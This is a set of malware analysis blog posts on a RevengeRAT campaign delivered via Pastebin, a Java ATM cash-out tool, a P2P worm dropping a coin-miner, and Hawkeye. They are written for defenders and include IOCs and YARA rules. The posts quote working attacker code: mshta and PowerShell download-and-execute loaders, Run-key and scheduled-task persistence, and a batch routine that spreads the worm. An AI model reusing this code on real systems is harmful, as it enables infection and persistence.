Xa_aw1 = StrReverse(StrReverse("h")) + StrReverse(StrReverse(StrReverse(StrReverse("t")))) + StrReverse(StrReverse(StrReverse(StrReverse("t")))) + StrReverse(StrReverse("p")) + StrReverse(":") + StrReverse(StrReverse(StrReverse(StrReverse("/")))) + StrReverse(StrReverse(StrReverse(StrReverse("/")))) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(".")) + StrReverse(StrReverse("p")) + StrReverse(StrReverse("a")) + StrReverse(StrReverse("s")) + StrReverse(StrReverse(StrReverse(StrReverse("t")))) + StrReverse("e") + StrReverse("b") + StrReverse("i") + StrReverse("n") + StrReverse(StrReverse(".")) + StrReverse("c") + StrReverse("o") + StrReverse(StrReverse("m")) + StrReverse(StrReverse(StrReverse(StrReverse("/")))) + StrReverse("r") + StrReverse(StrReverse("a")) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(StrReverse(StrReverse("/"))))
Xa_aw0 = StrReverse(StrReverse("m")) + StrReverse(StrReverse("s")) + StrReverse(StrReverse("h")) + StrReverse(StrReverse(StrReverse(StrReverse("t")))) + StrReverse(" a")
Xa_aw2 = "efZDG7aL"
XXX = Xa_aw0 + Xa_aw1 + Xa_aw2
Morg = XXX
Xa_aw = Morg
Xkasdj2.Run Xa_aw, vbHide

Code Snippet 2: Javascript code after “unescape” function

The VBScript code is obfuscated using a series of “StrReverse” functions. But the action it performs is still clearly evident: call another mshta process and execute a new HTA application hosted on Pastebin (hxxp[://pastebin[.com/raw/efZDG7aL).

Figure 5: Malicious code stored on pastebin

This other script is also encoded in hexadecimal format. After its decoding its  content can be divided into four parts. The first one is responsible for killing some of the Microsoft Office suite processes, like Word, Excel, Publisher and PowerPoint.

“cmd.exe /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE”

Code Snippet 3: First deobfuscated piece of code

Instead, the second chunk hides the next malware stage invocation within a Powershell script.

powershell.exe [email protected](91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,102,106,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,67,77,50,50,118,84,117,112,39,41,124,73,69,88,59,91,66,121,116,101,91,93,93,36,102,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,81,120,48,75,50,98,97,78,39,41,46,114,101,112,108,97,99,101,40,39,94,39,44,39,48,120,39,41,124,73,69,88,59,91,107,46,72,97,99,107,105,116,117,112,93,58,58,101,120,101,40,39,77,83,66,117,105,108,100,46,101,120,101,39,44,36,102,41);[System.Text.Encoding]::ASCII.GetString($LOLO)|IEX

Code Snippet 4: Second deobfuscated piece of code

This code snippet hides a Powershell executable stage encoded in numeric format. The correspondent ASCII text is then executed through the IEX command-let.

[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://pastebin[.com/raw/CM22vTup')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://pastebin[.com/raw/Qx0K2baN').replace('^','0x')|IEX;[k.Hackitup]::exe('MSBuild.exe',$f)

Code Snippet 5: Deobfuscated powershell function

This code builds up the core of the malware implant (discussed in the next section). The third chunk of the code, instead, is where the attacker sets two different persistence mechanisms. Both of them invokes two different HTA application retrieved from Pastebin:

Set Xm_w = CreateObject("WScript.Shell")
L_Xe = "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate"
Xm_w.RegWrite L_Xe,"mshta.exe http://pastebin[.com/raw/bMJxXtXa","REG_EXPAND_SZ"

Code Snippet 6: Third deobfuscated piece of code (part 1)

Set Mi_G = CreateObject(StrReverse(StrReverse("WScript.Shell")))
Dim We_wW
We_wW0 = StrReverse("t/ 03 om/ ETUNIM cs/ etaerc/ sksathcs")
We_wW1 = "n ""Windows Update"" /tr ""mshta.ex"
We_wW2 = "e h" + "t" + "t" + "p" + ":" + "/" + "/" + "p" + "a" + "s" + "t" + "e" + "b" + "i" + "n" + "." + "c" + "o" + "m" + "/" + "r" + "a" + "w" + "/tuGAsMze"" /F "
We_wW = We_wW0 + We_wW1 + We_wW2
Mi_G.Run We_wW, vbHide

Code Snippet 7:  Third deobfuscated piece of code (part 2)

Both of the scripts are stored onto Pastebin platform and even if  the first one has been removed, the malware maintains its persistence thanks to the execution of the second method.

The last chunk of code, the fourth, contains a huge number of Registry keys ready to be set on the target machine. This behavior has been implemented to drastically reduce the defenses of the target host, for instance disabling security features oft the Microsoft Windows and the Office ecosystem. The “Edited Registry Keys” section reports them.

The Hagga Pastes

As stated in the previous section, the Code Snippet 5 contains the core of malicious actions. The malware concurrently downloads and executes powershell code from two pastes. The first one is "CM22vTup" and have been published by a Pastebin user named “HAGGA”, the same reported in the PaloAlto analysis.

Figure 6: New payload downloaded from Pastebin

As previously hinted the Powershell code in the “CM22vTup” snippet encodes its payload in numeric format. Decoding “PAYLOAD-1“, another obfuscated Powershell script reveals the loading of a shellcode directly in the running process memory. 

[email protected](PAYLOAD-1);$p=[System.Text.Encoding]::ASCII.GetString($jk)|IEX

Code Snippet 8: Code structure of the downloaded script

[Byte[]]$sc64=iex('PAYLOAD_2'.replace('%_','0x'));$a = [Microsoft.VisualBasic.Interaction]::CallByname([AppDomain]::CurrentDomain,'Load',[Microsoft.VisualBasic.CallType]::Method,$sc64)

Code Snippet 9: Structure of the script contained in “PAYLOAD_1”

After a basic manipulation, The data hidden in “PAYLOAD_2” results to be the hexadecimal representation of a PE file, easily recognizable due to the characteristic ”4D 5A” header. 

%_4D,%_5A,%_90,%_00,%_03,%_00,%_00,%_00,%_04,%_00,%_00,%_00,%_FF,%_FF,%_00,%_00,%_B8,%_00,%_00,%_00,%_00,%_00, [.....]

Code Snippet 10: “PAYLOAD_2” in hex encoding

This PE 32 file is a well formed .Net assembly. In the following table are shown the static information about it. 

ThreatRevengeRAT / Injector 
Brief DescriptionRevengeRAT / injector payload Obfuscated
Ssdeep768:zQosoqOovPJmzW0GzJrMfogNeEbSBUrOaqVJswUna4OI 9O:zQyoUzW0GrQ6UiaqVJ1Ua4Vs

Table 2: Information about the RevengeRAT / Injector malicious payload

Figure 7: Static information about payload described in table 2  

However, the .Net payload is not totally unprotected. In  fact it has been obfuscated with the “ConfuserEx” obfuscator.

The assembly is a Dynamic Linked Library with only one purpose: inject the payload into a target process through the well known “Process Hollowing” technique. At this stage of the infection chain the final payload could be retrieved, the RevengeRAT remote administration tool.

Figure 8: Process Hollowing references inside the PE file

The RevengeRAT Payload

Figure 9: RevengeRAT payload in hex encoding

The final payload is the one downloaded from the Pastebin page “Qx0K2baN”, as reported in Code Snippet 5. This code comes with the same obfuscation method seen in PAYLOAD_2, hex encoding together with a simple replacing routine.

Brief DescriptionRevengeRAT injector payload Obfuscated
Ssdeep768:3Yo9AzKlOOYIl+tqRsoYGvoJGPdyOYOCbf9eThI21Os+ JZiIPxTS0X4Dwrw2T9:5AmlEIl+tqSoY2oyfYOweT6s+JlPVnz

Table 4: Information about the RevengeRAT malicious payload

Even this executable is a well formed .Net Assembly, but in this case it is obfuscated with another tool, “.Net Reactor”, a commercial code protection tool specialized in .Net applications.

Figure 10: Evidence about .NET Reactor obfuscator

Exploring the code, we found many similarities with the same RevengeRAT threat previously analyzed by us and by Unit 42. This means, with reasonable confidence, the campaign we are dissecting could be an evolution of the previous campaigns, showing an increase of the malware stealthiness and the adoption of new techniques like process hollowing in the infection chain. Despite that, the RevengeRAT core is substantially the same.

Figure 11: Comparison among RevengeRAT belonging to different campaigns

This time the recurring word is “rg”. In fact the two payloads download from the pastebin platform are “rgrunpe” and “rgbin”; also the new command and control server domains starts with the two letters “rg”, the codename of this last campaign. This time, despite the “roma225” case, the socket key of the rat is configured differently with the static string “lunlayo” and the id is “HOTEIS NOVOS” instead of “POWERScreenPOWER”.

Anyway, as shown in Figure 11, the ID and Mutex of the last two campaigns are the same, indicating the fact that the group is active and the infection campaign continues. Moreover, considering the number of views counted by the Pastebin snippet “CM22vTup”, the one delivering the RevengeRAT payload, is possible to estimate the magnitude of the attack, which may involve up to 1600 victims.

Figure 12: Hagga campaign reference


Since December 2018, we are following the tracks of this ambiguous cyber criminal group, internally referenced as TH-173. There are chances this whole activity could be linked with the Gorgon Group, but at the moment we have no definitive evidence of this connection.

Anyway, through the constant eyes on this threat, we observed a refinement in their infection chain while they are maintaining intact some of their TTP, such as the abuse of the Blogspot platform and legit dynamic DNS services. In fact, the group started abusing Pastebin to add complexity into the infection chain, mixing up hidden MSHTA code, Powershell scripts and also additional process injection techniques to their arsenal.

Indicator of Compromise

Yara Rules

rule rg_RevengeRAT_excel_macro_dropper_July_2019{

      description = "Yara Rule for revengeRAT_rg"
      author = "Cybaze Zlab_Yoroi"
      last_updated = "2019-08-01"
      tlp = "white"
      category = "informational"

   		 $a1 = {D0 CF 11 E0 A1 B1}
   		 $a2 = {EC A8 F9 46 C9 16}
   		 $a3 = {91 26 DD 88 D0 AD}
   		 $a4 = "GyjQSnPUjfNcA"
   		 $a5 = "CMG=\"2D2F8"

   	 all of them

import "pe"
rule rg_RevengeRAT_payload_1_July_2019 {

      description = "Yara Rule for revengeRAT_rg payload_1"
      author = "Cybaze Zlab_Yoroi"
      last_updated = "2019-08-01"
      tlp = "white"
      category = "informational"

   		 $a1 = {4D 5A}
   		 $a2 = "kFeS0JCm" wide ascii
   		 $a3 = {A1 6B 31 63 EE 9F}
   		 $a4 = {06 38 70 DE FF FF 28}

   	 2 of ($a*) and pe.number_of_sections == 3

import "pe"
rule rg_RevengeRAT_payload_2_July_2019{

      description = "Yara Rule for revengeRAT_rg"
      author = "Cybaze Zlab_Yoroi"
      last_updated = "2019-08-01"
      tlp = "white"
      category = "informational"

   		 $a1 = {4D 5A}
   		 $a2 = {93 E5 21 3F 59 AE}
   		 $a3 = {11 08 28 22}
   		 $a4 = "v2.0.507"
   		 $a5 = {E2 80 8C E2 80}
   		 $a6 = {81 AC E2 81 AF E2 80 AE}
   		 $a7 = {E2 81 AA E2 80}
   		 $a8 = {81 AF E2 80 AA}
   		 $a9 = {81 AC E2 81 AF E2 80 AE}
   		 $a10 = {C5 C7 4C 9E 65 A5 B6 42}

   	 6 of ($a*)

Edited Registry keys


This blog post was authored by Luigi Martire, Davide Testa and Luca Mella of Cybaze-Yoroi Z-LAB

Java ATM Malware: The Insider Threat Phantom


Recently our attention was caught by a really particular malware sample most probably linked to recent cyber criminal operation against the banking sector.

This piece of malicious code is a so called "ATM malware": a malicious tool  part of a criminal arsenal able to interact with Automatic Teller Machine. ATM malware are used in modern bank robberies due to their ability to access the cash dispenser hardware, such as ATMitch malware we analyzed on last May. In that case the malware was relying on the XFS (EXtension for Financial Service) API to “jackpot” the infected machine.

Instead, this particular ATM malware does not rely on standard communication interfaces. It is using other more specific techniques, suggesting an increased level of customization, maybe achieved by leveraging knowledge from the inside of the target organizations.

For this reason Yoroi-Cybaze ZLAB team decided to dig into this malicious tool.

Technical Report

ThreatJava ATM Dispenser 
Brief DescriptionJava ATM Malware

Table 1. Info about the sample

The malware makes extensive use of Java Instrumentation techniques in order to manipulate the control flow of a legit Java-based ATM management software. The first action it performs is to identify the proper running Java Virtual Machine (JVM) used by the ATM software. The malware has the capability to:

This is done using the Java Attach API, a Sun Microsystems extension that provides a mechanism to attach to a Java virtual machine.

Figure1. Code to identify the JVM

Once identified the target JVM, the malware forces the loading of a Java agent in it using the “vm.loadAgent(path_to_jar, options)” method.

Figure 2. Code to load the Java Agent from Jar file

The loader identifies the agent class in the specified JAR file using the “MANIFEST.MF” file embedded into it, then it loads the class into the target JVM’s context.

Figure 3. Jar’s manifest file containing the agent class name

At this point, the main class terminates printing the banner “Freedom and glory” in different languages, as shown in Figure 2. Now, the control flow moves to the “agentmain” method belonging to Agent class. Its only goal is to invoke the “startagent” method through the following code line:

getDeclaredMethod("startagent", String.class, Instrumentation.class).invoke((Object)null, agentArgs, ints);

The malicious intents of the malware are exhibited starting from this method. It deploys an HTTP server which acts as an interface between the attacker and the ATM under attack.

Figure 4. Code to start the HTTP server

Exploring the HTTP handler class, in fact, some suspicious information immediately emerges. In the following figure it is possible to see a hardcoded IP address “150.100.248[.]18” which will be used later. Moreover, this class embeds three static variables containing Javascript code (one of this is Base64 encoded).

Figure 5. Static strings embedded into HTTP server code

Continuing the code analysis, we encounters the server logic, which provides several functionalities that can be triggered by the attacker using simple HTTP requests.

Figure 6. Part of server logic

It is possible to summarise all the malware capabilities, exposed through the HTTP server instance, in the following table:

HTTP MethodPathQuery stringBodyDescription
POST/-Base64-encoded commandExecute the specified command through cmdline
POST/di={id}&d={amount}Dispense the specified {amount} from the Dispenser cash unit identified by {id}
POST/d-q=1Return the current amount of each cash unit
POST/evaJS script-Execute the script using Java ScriptEngine
GET/mgrclassName1&className2-Return info about the specified running Java classes 
POST/mgrclassNamemethodInvoke the method belonging to the specified Java class
GET/core--Display an HTML form to insert info about a JAR to load
POST/core-0={Base64EncodedJAR}&1={mainClass}&2={method}&3={args}&4={type}Load a new JAR file and execute the specified method

Table 2. Malware capabilities

In the following screen, we report part of the server logic in which are highlighted the functions used by the malware to retrieve information about the ATM cash dispenser.

Figure 7. Evaluation of HTTP request

Most malicious actions are executed using Javascript code running on top of a JavaScript engine instance (included into the “runjs” method). For example, to retrieve the amount of cash stored in the dispenser the following code is invoked:

Figure 8. Javascript code to extract information about dispenser cash units

First of all, the malware retrieves the Java class associated to the Dispenser from the list of all the running classes. Then, for each dispenser’s cash unit, it invokes the “getValue” and “getActual” methods to obtain the right information from the dispenser interface.

A similar thing is done for money dispensing: after retrieving the associated object, the malware removes the “AnomalyHandler” using the “removeAnomalyHandler” method in order to stealthily achieve its objectives.

Figure 9. Javascript code used to remove the anomaly handler from dispenser

After that, it iterates the cash units dispensing the amount of bills specified by the criminals through the following function calls sequence:

At the end of the theft, the malware restores the “AnomalyHandler”. The complete Javascript code is shown in the following figure.

 Figure 10. Javascript code used to dispense money from all the cash units

On return, the malware communicates the success of the dispense operation connecting to the abovementioned IP (“150.100.248[.]18”) stored in the “urlreport” variable.

 Figure 11. The malware contacts the embedded IP address after dispensing

This ATM malware has also additional capabilities increasing its flexibility and dangerousness. It is able to execute arbitrary batch commands, to invoke methods directly into the memory of the running Java classes and also to run new JAR applications. The “jscmd” variable, shown in Figure 5, contains the Base64-encoded Javascript snippet useful to load the commands in the Windows cmdline:

 Figure 12. Javascript code to execute batch commands

Before launching the JS script, the malware replaces the following patterns:

Then, it invokes the “java.lang.Runtime.getRuntime().exec()” function.

 Figure 13. HTML form to specify the Jar to upload and run

Instead, in the JAR loading case the attacker preconfigured an HTML form to make the upload easier. In it, the criminal can specify which JAR to load, which is the main class and which method they want to execute first. A set of tools to ensure the criminals will be able to overcome eventual technical faults in their ATM cashouts.


Cyber criminals are threatening financial and banking sector for a long time. During the years, criminal groups evolved their operation and developed more sophisticated arsenals, achieving customization capabilities making them able to target specific organizations, even if they are not leveraging known Industry Standards. 

As recently pointed by Kaspersky, these criminals reached such sophistication and customization levels by leveraging deep knowledge of the target systems, making the malware work just on a small fraction of the AMTs. How the crooks accessed this knowledge is the Question.

At the moment it's not clear how the technical information required to develop ad hoc malware have been accessed. A wide range of scenario are possible, such as the involvement of an insider, the long term compromise of the whole target network or just a small subset of mailboxes, or maybe a compromise of the Software Development Supply Chain. A set of scenarios that need to be seriously taken into account by the financial and banking organizations aiming to tackle modern bank thieves.

Indicato of Compromises



Yara Rules

rule Java_ATM_Malware {
	description = "Yara Rule for Java ATM malware"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-07-18"
	tlp = "white"
	category = "informational"
	$h = {50 4B 03 04}
	$s1 = "Main-Class: injx2.INJX" ascii wide
	$s2 = "Agent-Class: injx2.Agent" ascii wide
	$a1 = "" ascii wide
	$a2 = "Peripheral.Dispenser" ascii wide
	$b = "sun/tools/attach/WindowsAttachProvider" ascii wide
	$h and 1 of ($s*) and 1 of($a*) and $b

This blog post was authored by Antonio Farina and Luca Mella of Cybaze-Yoroi Z-LAB

P2P Worm Spreads Crypto-Miners in the Wild


In the past months we published a white paper exploring the risks that users can encounter when downloading materials from P2P sharing network, such as the Torrent one. We discussed how crooks easily lure their victims to download malware along with the desired content. Recently, our threat monitoring operations pointed us to an interesting file named “Lucio Dalla Discografia Completa”: this file pretends to be  a collection of the discography of a  famous italian singer, but it actually hides malicious intents. 

For this reason, Cybaze-Yoroi ZLAB dissected this malware threat revealing its hidden virulent nature. 

Technical Analysis 

As anticipated, the file downloaded from the BitTorrent network is an executable. A quick recon revealed it actually is an SFX archive containing several other files. 

Brief DescriptionCoin-miner dropper (SFX archive)

Table 1: Static Information about the miner dropper

The usage of archive like SFX allows the attacker to hide the content of the malicious PE and significantly reduce the detection rate. Opening the sample with a common archive manager like WinRAR or 7z, unveil its content. 

Figure 1: Content of the SFX file

The archive contains more than a dozen of files. In detail it embeds:

On the right of Figure 1 it is possible to see the SFX configuration file. After the auto-extraction, the first file run is “run.vbs”. Its content is minimal and quickly redirect the execution to a small batch file, “installer.bat” contained in the same folder. Then it runs installer.bat (the filename) with the parameter "0" (WindowStyle hidden, to avoid hidden windows because it may trigger AntiViruses heuristics) and "true" (WaitOnReturn).

The content of “installer.bat” file is also minimal and points to a more complex text file "007.tmp", later renamed as "007.bat". That file weighs over 59 KB and contains more interesting functionalities.

Unlike the previous script, the “007” file performs many operations. The first one is to copy of all files contained in the extraction path directory into “#” subdirectory and to rename some of the just extracted files, suggesting some of the files are dependencies of a more complex chain.

@echo off & setlocal enabledelayedexpansion

set CURRDIR=%~dp0
md #
copy "%CURRDIR%/002.tmp" "%CURRDIR%/#/002.tmp"
copy "%CURRDIR%/003.tmp" "%CURRDIR%/#/003.tmp"
copy "%CURRDIR%/004.tmp" "%CURRDIR%/#/004.tmp"
copy "%CURRDIR%/005.tmp" "%CURRDIR%/#/005.tmp"
copy "%CURRDIR%/006.tmp" "%CURRDIR%/#/006.tmp"
copy "%CURRDIR%/007.tmp" "%CURRDIR%/#/007.tmp"
copy "%CURRDIR%/008.tmp" "%CURRDIR%/#/008.tmp"
copy "%CURRDIR%/010.tmp" "%CURRDIR%/#/010.tmp"
copy "%CURRDIR%/011.tmp" "%CURRDIR%/#/011.tmp"
copy "%CURRDIR%/013.tmp" "%CURRDIR%/#/013.tmp"
copy "%CURRDIR%/014.tmp" "%CURRDIR%/#/014.tmp"
copy "%CURRDIR%/016.tmp" "%CURRDIR%/#/016.tmp"
copy "%CURRDIR%/installer.bat" "%CURRDIR%/#/installer.bat"
copy "%CURRDIR%/run.vbs" "%CURRDIR%/#/run.vbs"
copy "%CURRDIR%/002.tmp" "%CURRDIR%/7z.exe"
copy "%CURRDIR%/003.tmp" "%CURRDIR%/7z.dll"
copy "%CURRDIR%/004.tmp" "%CURRDIR%/Default.SFX"
copy "%CURRDIR%/005.tmp" "%CURRDIR%/Rar.exe"
copy "%CURRDIR%/006.tmp" "%CURRDIR%/sfx.conf

Code Snippet 1: Copy of the files in a subfolder

After that, it generates three different files named “001.tmp”, “32.tmp” and “64.tmp”, later renamed with “.exe” suffix. They are created by mixing up the original files. In particular: “001.tmp” is created combining file “008.tmp”, “009.tmp” and “010.tmp”. The resulting executable have been split in those files, evading AV signatures. 

But this composed executable hides another interesting detail. Before merging the file slices, the script replaces part of the PE header: it overrides the “This program cannot be run in DOS mode” string with random chars, generating different files hashes at every infection. This polymorphic techniques implemented directly in bash stage is applied to all the other files chunked and embedded into the original SFX archive.

Figure 2: Generation of the custom DOS header

After that, the script tries to use the just created “Rar.exe” and “7z.exe” files to create new SFX file in other directories belonging to the P2P platforms. This trick is used to spread the attack across the file-sharing communities, to compromise much more victims and to keep the infection alive. An example of this routine is the following:

for /d /r "c:\" %%a in (preferences.ini) do (
if exist "%%a" (
for /f %%b in ('findstr /c:"IncomingDir=" "%%a"') do (
set "var=%%b"
for %%c in ("!var:~12!\*.*") do (
ECHO ERRO %random%%random%%random%%random%%random%%random%%random%%random%%random%%random% > "%CURRDIR%#\setup"
rar a -r -sfx -m5 -ep1 -zsfx.conf "%%~nc".exe #\*
7z a -tzip -mx=0 "%%~nc".zip "%%~nc".exe
del "%%~nc".exe
del "%%c"
move "" "!var:~12!\"   ))))


for /d /r "c:\" %%a in (*) do (
if /i "%%~nxa"=="my grokster" (
set "var=%%a" (
for %%c in ("!var!\*.*") do (
ECHO ERRO %random%%random%%random%%random%%random%%random%%random%%random%%random%%random% > "%CURRDIR%#\setup"
rar a -r -sfx -m5 -ep1 -zsfx.conf "%%~nc".exe #\*
7z a -tzip -mx=0 "%%~nc".zip "%%~nc".exe
del "%%~nc".exe
del "%%c"
move "" "!var!\"   ))))

Code Snippet 2: Example of propagation routine

All these actions are performed for each system drive letter, such as C:, D:, X: and so on. After that, the script looks for the Microsoft Windows OS version from “5.x” to “15.x” and finally executes several specific routines according to the target machine. These routines perform a few basic operations:

  1. Create a new directory in “%systemdrive\AppCache\x86%” and immediately hide it; 
  2. Copy the file “001.tmp” in the Startup Folder (for every OS language) renaming it as “svchost.exe” and the file 32/64.tmp in “AppCache\x86\”;
  3. Execute “001.exe” file. 
if defined PROGRAMFILES(X86) (goto x64) else (goto x86)

mkdir %systemdrive%\AppCache\x86
attrib +s +h %systemdrive%\AppCache\x86
attrib +s +h %systemdrive%\AppCache
copy /y "%CURRDIR%\001.tmp" "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
copy /y "%CURRDIR%\001.tmp" "%systemdrive%\users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe"
copy /y "%CURRDIR%\64.tmp" "%systemdrive%\AppCache\x86\svchost.exe"
attrib +h "%systemdrive%\AppCache\x86\svchost.exe"
"%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
"%systemdrive%\users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe"
goto end

Code Snippet 3: Choose of the files to copy whether the target architecture is x86 or x64

At this point, the malicious control passes to the 001.exe file located in the Startup folder.

Figure 3: UPX signature evidence

The 001 File

The 001.exe is actually packed with a known version of the UPX compressor. So, the extraction of the payload is quite straight forward.

ThreatMiner Launcher
Brief DescriptionCoin-miner Payload (001.exe) packed with UPX

Table 2: Generic info about the Miner Loader

ThreatMiner Launcher Decompressed
Brief DescriptionCoin-miner Payload (001.exe) unpacked

Table 3: Generic info about the Miner Loader unpacked

Analyzing the decompressed binary, we noticed the malware firstly tries to run the “svchost.exe” binary contained in “%systemdrive%\AppCache\x86”, which likely is the real payload.

Figure 4: Evicends of the mining routine

The Payload

Brief DescriptionCoin-miner Payload (32.exe) packed with UPX (minerd)

Table 4: Generic Information of the Coininer compiled in 32 bit (UPX packed)

Brief DescriptionCoin-miner Payload (64.exe) packed with UPX (minerd)

Table 5: Generic Information of the Coininer compiled in 32 bit (UPX unpacked)

The “svchost.exe” placed in the file “%systemdrive%\AppCache\x86” folder actually is one of the two files “32.exe” and “64.exe” previously created.  After unpacking routines, the results are the following.

Brief DescriptionCoin-miner Payload (32.exe) unpacked (minerd)

Table 6: Generic Information of the Coininer compiled in 64 bit (UPX packed)

Brief DescriptionCoin-miner Payload (64.exe) unpacked(minerd)

Table 7: Generic Information of the Coininer compiled in 64 bit (UPX packed)

Obviously, these hashes changes at every infection due to the polymorphic technique implemented in the bash stage previously described. The unique purpose of “001.exe” is the execution of “32.exe” or “64.exe” contained in “%systemdrive%\AppCache\x86”, a stratum-based coinminer. Stratum is the de-facto standard protocol used by crypto-miners to connect to mining pools. 

Figure 5: Connection routine to the mining server

Exploring the sample we notice that it actually is “MinerD”, an open-source cryptomining software publicly available on GitHub

Figure 6: Comparison between the payloads (on the left) and the GitHub project (on the right)


This malware threat reminds us of the hidden risks of downloading material through p2p networks, along with the tricks adopted by the crooks to keep the campaign running in the wild. Indeed, this sample is able to survive across multiple p2p network by propagating to p2p shared folders configured into the victim machine, ensuring a good level of resilience from the attacker point of view.  Also, the attackers implemented polymorphic trick directly in batch language, replacing of part of the PE file header to create unique samples on each infection .

A naive or a distracted user can be lured to download infected media contents with the promise to ear his favorite musician, but this action can be compromise the machine of the victim and feed the cyber-criminals behind this campaign. This time, the consequences of such lack of awareness are quite contained, the final payload is actually a crypto-miner and the user may only experience delays or crashes, but what if the payload contains a bot a RAT, or even a ransomware? The consequences could be decisely more serious.

Indicators of Compromise


Mining Pool  (Coin-Miner): 

Yara Rules

rule LucioDalla_CoinMiner_SFX_201907 {
   	 description = "Yara Rule for SFX file of Lucio Dalla CoinMiner"
   	 author = "ZLAB Yoroi - Cybaze"
   	 last_updated = "2019-07-12"
   	 tlp = "white"
   	 category = "informational"

      $s1 = "SFX module - Copyright (c) 2005-2012 Oleg Scherbakov"
      $s2 = "7-Zip archiver - Copyright (c) 1999-2011 Igor Pavlov" 
      $s3 = "7-Zip - Copyright (c) 1999-2011 " ascii
      $s4 = "sfxelevation" ascii wide
      $h1 = { 30 ?? ?? 2E 74 6D 70 } 
      $setup = "setup" wide ascii 

      any of ($s*) and $setup and (#h1 > 8)

rule LucioDalla_001_UPX_201907 {
		description = "Yara Rule for 001 UPX file file of Lucio Dalla CoinMiner"
		author = "ZLAB Yoroi - Cybaze"
		last_updated = "2019-07-12"
		tlp = "white"
		category = "informational"

		$s1 = "UPX" 
		$h1 = { CB 40 5A 3E 2A E5 A2 C3 } 
		$h2 = { 38 D5 CD 57 3F E4 BF 45 }
		$h3 = { 21 54 68 69 73 20 ?? ?? ?? ?? ?? ?? ?? 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 }

		all of them

rule LucioDalla_001_Unpacked_201907 {
		description = "Yara Rule for 001 unpacked file file of Lucio Dalla CoinMiner"
		author = "ZLAB Yoroi - Cybaze"
		last_updated = "2019-07-12"
		tlp = "white"
		category = "informational"

		$s1 = "zPLR" 
		$s2 = "\\AppCache\\x86\\svchost.exe"
		$h1 = { 24 E8 5A CF FF FF 83 EC 04 } 
		$h2 = { 21 54 68 69 73 20 ?? ?? ?? ?? ?? ?? ?? 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 }

		all of them

rule LucioDalla_Miner_Workers_201907 {
		description = "Yara Rule for all CoinMiner Workers"
		author = "ZLAB Yoroi - Cybaze"
		last_updated = "2019-07-12"
		tlp = "white"
		category = "informational"

		$upx = "UPX"
		$hpa32 = { 42 DA 92 BF 2D BB F0 B0 } 
		$hpb32 = { 2F 4D 7B 8C 83 FB 03 FF C2 }
		$hp64a = { B0 29 74 3A 48 55 04 6C 30 }
		$hp64b = { 11 60 6C A4 E9 FA 71 BE 47 }
		$s1 = "blowfish.c"
		$s2 = "mpih-rshift-asm"
		$s3 = { D0 67 EC 67 B6 67 AF 67 F5 }

		($upx and 2 of ($hp*)) or (all of ($s*))

This blog post was authored by Luigi Martire, Davide Testa and Luca Mella of Cybaze-Yoroi Z-LAB

Anti-Debugging Techniques from a Complex Visual Basic Packer


As we described in our previous post, one of the latest trends for the attackers is to leverage the ISO files in order to reduce detection chances. This technique has also been used by a recent Hawkeye spreading campaign.

“Hawkeye Keylogger” is an info-stealing malware for sale in the dark-web. Anyone can  easily subscribe to the malware service by paying a fee. It has been in continuous development at least since 2013  and the malware authors behind Hawkeye have improved the malware service adding new capabilities and techniques. It can collect credentials from various applications, mostly email clients, web browser and FTP clients, and send them to the crooks via various protocols such as FTP, HTTP, and SMTP.

So, our Cybaze-Yoroi ZLAB decided to take a look at this recent Hawkeye attack, tacking its anti-analysis protection and the anti-debugging techniques enforced by the Visual Basic packer used by the crooks.

Technical Analysis

The delivered file is an ISO image. Inside of it, there is a bat file, but actually is a well formed PE file. So, we can extract the “bat” file and replace its extension in “exe”.

Figure 1: Fake .bat file inside the ISO archive
ThreatHawkey Spyware
Brief DescriptionHawkey Spyware inside a Visual Basic Packer

Table 1: Information about the PE file inside the ISO image

The ISO file has low AV detection rate, but only by extracting the executable from  the ISO image, the rate raises:

